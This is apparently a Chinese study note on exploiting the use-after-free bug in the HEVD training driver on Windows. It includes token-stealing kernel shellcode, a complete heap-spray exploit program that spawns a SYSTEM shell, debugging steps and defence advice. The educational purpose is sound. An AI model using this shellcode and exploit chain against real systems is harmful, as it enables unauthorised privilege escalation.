HEVD系列Windows内核漏洞学习笔记0
字数 1458 2025-08-24 10:10:13
Windows内核漏洞利用教学:HEVD UAF漏洞分析与利用
0x00 前置知识
UAF (Use After Free) 漏洞概念
UAF即"释放后使用",是指内存块被释放后仍被程序使用的情况。在Windows内核中,这种漏洞可能导致严重后果:
-
内存释放后的三种情况:
- 指针被置0后使用 → 崩溃
- 指针未被置0且内存未被修改 → 可能正常运行
- 指针未被置0且内存被修改 → 不可预测行为
-
Windows内存管理机制:
ExAllocatePoolWithTag函数申请的内存会被操作系统分配到大小最合适的堆- 被free的指针成为"悬挂指针",仍指向有效内存地址
漏洞结构体分析
通过逆向分析,发现驱动中存在以下关键结构体:
typedef struct _VulnerablePointer {
FunctionPointer Callback; // 回调函数指针
CHAR Buffer[0x54]; // 缓冲区
} VulnerablePointer, *PVulnerablePointer;
0x01 漏洞利用链
完整的利用流程如下:
- 漏洞指针被分配内存且被释放后未进行其他操作
- 准备提权shellcode
- 构造fake chunk payload模仿漏洞指针结构
- 大量申请空间覆盖漏洞指针的Callback函数(堆喷射技术)
- 当Callback函数被调用时,实现Ring3提权
0x02 关键API分析
驱动IOCTL控制码
通过逆向分析驱动文件,识别出以下关键控制码:
| IOCTL码 | 功能描述 |
|---|---|
| 0x222013 | 申请内存(AllocateUaFObject) |
| 0x22201B | 释放内存(FreeUaFObject) |
| 0x22201F | 申请假chunk |
| 0x222017 | 调用Callback函数 |
提权验证函数
static VOID CreateCmd() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, NULL,
(LPSTARTUPINFOW)&si, &pi);
if (bReturn)
CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
提权Shellcode
void ShellCode() {
_asm {
nop
pushad
mov eax, fs:[124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // SYSTEM进程PID(4)
// 循环查找SYSTEM进程的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8] // 进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 比较PID
jnz find_sys_pid
// 替换Token实现提权
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
0x03 调试与分析
关键断点设置
在Windbg中需要设置以下断点(假设驱动有符号表):
HEVD!AllocateUaFObjectNonPagedPoolHEVD!FreeUaFObjectNonPagedPoolHEVD!UseUaFObjectNonPagedPool
调试过程
-
内存分配阶段:
- 观察分配的pool chunk大小为0x60(结构体大小+8字节pool header)
- 状态显示为"Allocated"
-
内存释放阶段:
- 观察pool chunk状态变为"Free"
- 漏洞指针的Callback函数指向随机地址
-
堆喷射后:
- 观察漏洞指针的pool chunk被重新占用
- Callback函数被覆盖为我们的shellcode地址
0x04 完整利用代码
#include <stdio.h>
#include <Windows.h>
typedef void(*FunctionPointer)();
typedef struct _FAKE_USE_AFTER_FREE {
FunctionPointer countinter;
char bufffer[0x54];
} FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
void ShellCode() {
// 同上文shellcode
}
static VOID CreateCmd() {
// 同上文创建cmd函数
}
int main() {
DWORD recvBuf;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("获取句柄失败\n");
return 0;
}
// 1. 分配漏洞对象
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 2. 释放漏洞对象
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 3. 准备fake chunk
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 4. 堆喷射
for (int i = 0; i < 5000; i++) {
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
// 5. 触发回调
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 6. 验证提权
CreateCmd();
return 0;
}
0x05 关键知识点总结
-
UAF漏洞本质:释放后使用的指针仍保持有效,可能被恶意利用
-
利用关键点:
- 精确控制内存分配和释放时机
- 构造正确的fake chunk结构
- 通过堆喷射覆盖目标内存区域
-
提权原理:
- 通过修改进程Token实现权限提升
- 利用Windows内核进程结构体中的PID和Token字段
-
调试技巧:
- 使用Windbg观察pool chunk状态变化
- 设置关键函数断点跟踪执行流程
- 验证内存布局是否按预期被覆盖
0x06 防御建议
-
开发层面:
- 释放指针后立即置NULL
- 使用安全的内存管理函数
- 实现引用计数机制
-
系统层面:
- 启用池内存保护机制
- 使用安全特性如KASLR、SMEP等
- 定期更新内核和驱动程序
-
检测层面:
- 监控异常的内存分配模式
- 检测可疑的内核回调函数调用